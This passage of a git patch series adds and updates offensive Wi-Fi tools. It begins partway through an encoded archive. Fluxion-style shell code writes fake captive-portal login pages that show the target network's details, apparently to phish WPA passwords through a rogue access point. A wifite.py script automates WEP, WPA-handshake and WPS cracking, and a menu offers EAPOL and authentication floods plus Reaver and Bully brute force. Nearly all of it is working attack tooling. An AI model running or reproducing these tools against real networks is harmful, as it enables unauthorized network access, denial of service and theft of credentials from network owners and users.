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 +" | base64 -d >$DUMP_PATH/file.zip + + unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device + rm $DUMP_PATH/file.zip &>$flux_output_device + + echo " + + + Login + + + + + + + +
+
+

Login Page

+
+ +
+ + "$DIALOG_WEB_OK" +
+ +
+ +
+
+
+
+

+
+ +
+ +
+ +
+
+
+ + + ">$DUMP_PATH/data/final.html + echo " + + + Login + + + + + + +
+
+

Login Page

+
+ +
+ + "$DIALOG_WEB_ERROR" +
+ "$DIALOG_WEB_BACK" + +
+ +
+ +
+
+
+
+

+
+ +
+ +
+ +
+
+
+ + + ">$DUMP_PATH/data/error.html + + echo " + + + Login + + + + + + + +
+
+

Login Page

+
+ +
+
+
+
+ +
ESSID:
+ +
$Host_SSID
+ +
BSSID:
+ +
$Host_MAC
+ +
Chan:
+ +
$Host_CHAN
+ +
+ +
+ + "$DIALOG_WEB_INFO" +
+ +
+ + + +
+ +
+ +
+ +
+
+
+
+

+
+ +
+ +
+ +
+
+
+ + + ">$DUMP_PATH/data/index.htm + +} +######################################### < INTERFACE WEB > ######################################## + + +mostrarheader && setresolution && setinterface +$HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & From 0534da8d7b8c7ca4af7f4d9de382ecc99657f4c4 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sat, 12 Mar 2016 23:45:36 +0400 Subject: [PATCH 010/294] Create wifite.py --- kali/wifite.py | 188 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 188 insertions(+) create mode 100644 kali/wifite.py diff --git a/kali/wifite.py b/kali/wifite.py new file mode 100644 index 0000000..b77b1a6 --- /dev/null +++ b/kali/wifite.py @@ -0,0 +1,188 @@ +#!/usr/bin/python2.7 + +from py.Configuration import Configuration +from py.Scanner import Scanner +from py.Color import Color +from py.AttackWEP import AttackWEP +from py.AttackWPA import AttackWPA +from py.AttackWPS import AttackWPS +from py.CrackResult import CrackResult +from py.Handshake import Handshake + +from json import loads +import os + +class Wifite(object): + + def main(self): + ''' Either performs action based on arguments, or starts attack scanning ''' + + if os.getuid() != 0: + Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}') + Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}') + return + + Configuration.initialize(load_interface=False) + + if Configuration.show_cracked: + self.display_cracked() + + elif Configuration.check_handshake: + self.check_handshake(Configuration.check_handshake) + + elif Configuration.crack_wpa: + # TODO: Crack .cap file at crack_wpa + Color.pl('{!} Unimplemented method: crack_wpa') + pass + elif Configuration.crack_wep: + # TODO: Crack .cap file at crack_wep + Color.pl('{!} Unimplemented method: crack_wep') + pass + elif Configuration.update: + # TODO: Get latest version from github + Color.pl('{!} Unimplemented method: update') + pass + else: + Configuration.get_interface() + self.run() + + def display_cracked(self): + ''' Show cracked targets from cracked.txt ''' + Color.pl('{+} displaying {C}cracked target(s){W}') + name = CrackResult.cracked_file + if not os.path.exists(name): + Color.pl('{!} {O}file {C}%s{O} not found{W}' % name) + return + f = open(name, 'r') + json = loads(f.read()) + f.close() + for (index, item) in enumerate(json): + Color.pl('\n{+} Cracked target #%d:' % (index + 1)) + cr = CrackResult.load(item) + cr.dump() + + def check_handshake(self, capfile): + ''' Analyzes .cap file for handshake ''' + Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile) + if not os.path.exists(capfile): + Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile) + return + hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid) + hs.analyze() + + + def run(self): + ''' + Main program. + 1) Scans for targets, asks user to select targets + 2) Attacks each target + ''' + s = Scanner() + if s.target: + # We found the target we want + targets = [s.target] + else: + targets = s.select_targets() + + targets_remaining = len(targets) + for index, t in enumerate(targets): + targets_remaining -= 1 + + Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index + 1, len(targets)) + + ' starting attacks against {C}%s{W} ({C}%s{W})' + % (t.bssid, t.essid)) + if 'WEP' in t.encryption: + attack = AttackWEP(t) + elif 'WPA' in t.encryption: + if t.wps: + attack = AttackWPS(t) + result = False + try: + result = attack.run() + except KeyboardInterrupt: + if not self.user_wants_to_continue(targets_remaining, 1): + break + + if result and attack.success: + # We cracked it. + attack.crack_result.save() + continue + else: + # WPS failed, try WPA handshake. + attack = AttackWPA(t) + else: + # Not using WPS, try WPA handshake. + attack = AttackWPA(t) + else: + Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA") + continue + + try: + attack.run() + except KeyboardInterrupt: + if not self.user_wants_to_continue(targets_remaining): + break + + if attack.success: + attack.crack_result.save() + + + def print_banner(self): + """ Displays ASCII art of the highest caliber. """ + Color.pl("") + Color.pl("{G} .;' `;, ") + Color.pl("{G} .;' ,;' `;, `;, {W}WiFite v%.2f" % Configuration.version) + Color.pl("{G}.;' ,;' ,;' `;, `;, `;, ") + Color.pl("{G}:: :: : {GR}( ){G} : :: :: {W}Automated Wireless Auditor") + Color.pl("{G}':. ':. ':. {GR}/_\\{G} ,:' ,:' ,:' ") + Color.pl("{G} ':. ':. {GR}/___\\{G} ,:' ,:' {C}https://github.com/derv82/wifite2{W}") + Color.pl("{G} ':. {GR}/_____\\{G} ,:' ") + Color.pl("{G} {GR}/ \\{G} ") + Color.pl("{W}") + + + def user_wants_to_continue(self, targets_remaining, attacks_remaining=0): + ''' Asks user if attacks should continue onto other targets ''' + Color.pl('\n{!} {O}interrupted{W}\n') + if attacks_remaining == 0 and targets_remaining == 0: + # No targets or attacksleft, drop out + return + + prompt_list = [] + if attacks_remaining > 0: + prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining)) + if targets_remaining > 0: + prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining)) + prompt = ' and '.join(prompt_list) + Color.pl('{+} %s remain, do you want to continue?' % prompt) + + prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' + + ' or {R}s{W} to {R}stop{W}: ') + + if raw_input(prompt).lower().startswith('s'): + return False + else: + return True + + +if __name__ == '__main__': + w = Wifite() + try: + w.print_banner() + w.main() + except Exception, e: + Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e)) + if Configuration.verbose > 0: + Color.pl('\n{!} {O}Full stack trace below') + from traceback import format_exc + Color.p('\n{!} ') + err = format_exc().strip() + err = err.replace('\n', '\n{!} {C} ') + err = err.replace(' File', '{W}File') + err = err.replace(' Exception: ', '{R}Exception: {O}') + Color.pl(err) + Color.pl('\n{!} {R}Exiting{W}\n') + except KeyboardInterrupt: + Color.pl('\n{!} {O}interrupted{W}') + Configuration.exit_gracefully(0) + From ecbb50ed11708338266da0a135bb45416a9d12eb Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 00:00:30 +0400 Subject: [PATCH 011/294] Update fluxion --- kali/fluxion | 83 ++++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 65 insertions(+), 18 deletions(-) diff --git a/kali/fluxion b/kali/fluxion index 614fa09..0e577d7 100755 --- a/kali/fluxion +++ b/kali/fluxion @@ -1270,7 +1270,7 @@ case $a in 1) clear echo -read -p " - What is the name of your Wlan WIFI_MONITOR (Ex:wlan0) - ": ADAPTER_NAME; +read -p " - What is the name of your Wlan WIFI_MONITOR (Ex:wlan0) - ": ADAPTER; clear @@ -1318,23 +1318,70 @@ esac menu () { clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " + + conditional_clear + mostrarheader + + + LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` + + if [ $LINEAS_WIFIS_CSV -le 3 ]; then + deltax && break + fi + + linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` + linap=`expr $linap - 1` + head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv + tail -n +$linap $DUMP_PATH/$CSVDB &> 